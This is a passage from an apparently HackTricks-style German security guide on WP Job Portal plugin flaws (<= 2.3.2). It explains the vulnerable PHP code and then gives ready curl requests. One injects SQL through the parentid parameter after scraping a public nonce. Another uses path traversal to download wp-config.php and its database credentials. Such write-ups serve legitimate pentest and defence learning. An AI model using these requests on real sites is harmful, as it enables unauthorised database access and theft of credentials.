$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme, die durch diesen Ausschnitt entstehen:
- Nicht bereinigte Benutzereingaben –
parentid
stammt direkt aus der HTTP-Anfrage. - String-Konkatenation in der WHERE-Klausel – keine
is_numeric()
/esc_sql()
/ prepared statement. - Erreichbarkeit ohne Authentifizierung – obwohl die Aktion über
admin-post.php
ausgeführt wird, ist die einzige vorhandene Überprüfung ein CSRF nonce (wp_verify_nonce()
), die jeder Besucher von einer öffentlichen Seite, die den Shortcode[wpjobportal_my_resumes]
einbettet, abrufen kann.
Ausnutzung
- Eine frische Nonce holen:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Beliebiges SQL durch Missbrauch von
parentid
injizieren:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, jede Datei auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
wird vom Angreifer kontrolliert und ohne Bereinigung angehängt. Wieder ist die einzige Hürde ein CSRF nonce, das von der Lebenslauf-Seite abgerufen werden kann.
Ausnutzung
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Der Server antwortet mit dem Inhalt von wp-config.php
, leaking DB credentials and auth keys.
Referenzen
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}